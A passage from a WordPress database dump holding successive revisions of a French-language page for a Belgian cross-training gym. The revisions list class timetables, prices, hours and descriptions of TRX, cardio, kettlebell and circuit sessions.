style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:43:44', '2013-07-03 16:43:44', '', 11, 'http://www.crosstrainingcenter.be/?p=174', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(175, 1, '2013-07-03 16:49:05', '2013-07-03 16:49:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:49:05', '2013-07-03 16:49:05', '', 11, 'http://www.crosstrainingcenter.be/?p=175', 0, 'revision', '', 0),
(176, 1, '2013-07-03 16:49:22', '2013-07-03 16:49:22', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au 